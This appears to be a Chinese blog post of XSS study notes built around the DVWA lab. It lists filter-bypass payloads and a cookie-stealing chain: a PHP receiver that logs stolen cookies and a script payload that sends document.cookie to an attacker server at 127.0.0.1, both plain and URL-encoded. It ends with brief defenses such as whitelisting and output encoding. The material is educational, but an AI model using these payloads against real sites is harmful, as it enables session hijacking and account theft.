zoukankan      html  css  js  c++  java
  • XSS-笔记

     Cross Site Script  跨站脚本
    是一种客户端代码的注入  而命令注入、sql注入都是客户端代码的注入。
     
    XSS攻击行为的目标为:1、窃取目标的cookie信息 2、执行CSRF脚本等
     
    存储型 攻击脚本存储在服务器数据库中 输出在HTML响应中
    反射型 攻击脚本在URL中 输出在HTML响应中
    DOM型 攻击脚本在URL中 输出在DOM节点中
     
     
    <script>alert(/xss/)</script>
     
    <!-- 绕过只过滤小写script标签的情况 -->
    <sCrIpT>alert(/xss/)</sCrIpT>
     
    <!-- 绕过只过滤一次script标签的情况 -->
    <sc<script>ript> alert(/xss/)<sc</script>ript>
     
    <!-- script标签不可用的情况 -->
    <img src=x onerror=alert(/xss/)>
    <iframe onload=alert(/xss/)>
     
    弹窗验证   alert() 若被过滤可尝试 confirm()和 prompt()

    有些web服务器可能会把同一个参数在服务器上合并起来,如果该服务器对该参数每一条的长度有限制可以尝试分割成多个来绕过限制。 
     
    图片
     
    攻击行为构造
    攻击者服务端
    <?php
    $cookie = $_GET['cookie'];
    file_put_contents('cookie.txt', $cookie);
    ?>
     
    XSS构造
    ?name=<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>
    URL编码后方可用
    ?name=%3Cscript%3Edocument.location%3D%27http%3A%2f%2f127.0.0.1%2fcookie.php%3Fcookie%3D%27%2bdocument.cookie%3B%3C%2fscript%3E
     
     
    DVWA_1.9 这里的各个等级主要围绕在各种对XSS脚本的过滤与绕过展开
    low
    ?name=<script>alert(/xss/)</script>#
    medium.
    <sCrIpT>alert(/xss/)</sCrIpT>
    <sc<script>ript> alert(/xss/)<sc</script>ript>
    high
    <img src=x onerror=alert(/xss/)>
    <iframe onload=alert(/xss/)>
     
    php 中 htmlspecialchars 默认不编码单引号 带上 ENT_QUOTES参数后会编码单引号 不编码存在xss风险
    mysql_real_escape_string 对引号进行转义防止sql注入
     
    XSS防治办法
    输入过滤: 白名单  不要用黑名单容易被绕过
    输出过滤  html编码 js转译
     
    另外存储型XSS原理类似  需要清理数据库时DVWA选择 Setup / Reset DB --> Create / Reset Database 
     





  • 相关阅读:
    md5加密(4)
    生成短的uuid
    九九乘法
    闰年判断
    初识网络传输
    省选模拟77
    省选模拟76
    省选模拟75
    省选模拟74
    省选模拟73
  • 原文地址:https://www.cnblogs.com/enderzhou/p/6884542.html
Copyright © 2011-2022 走看看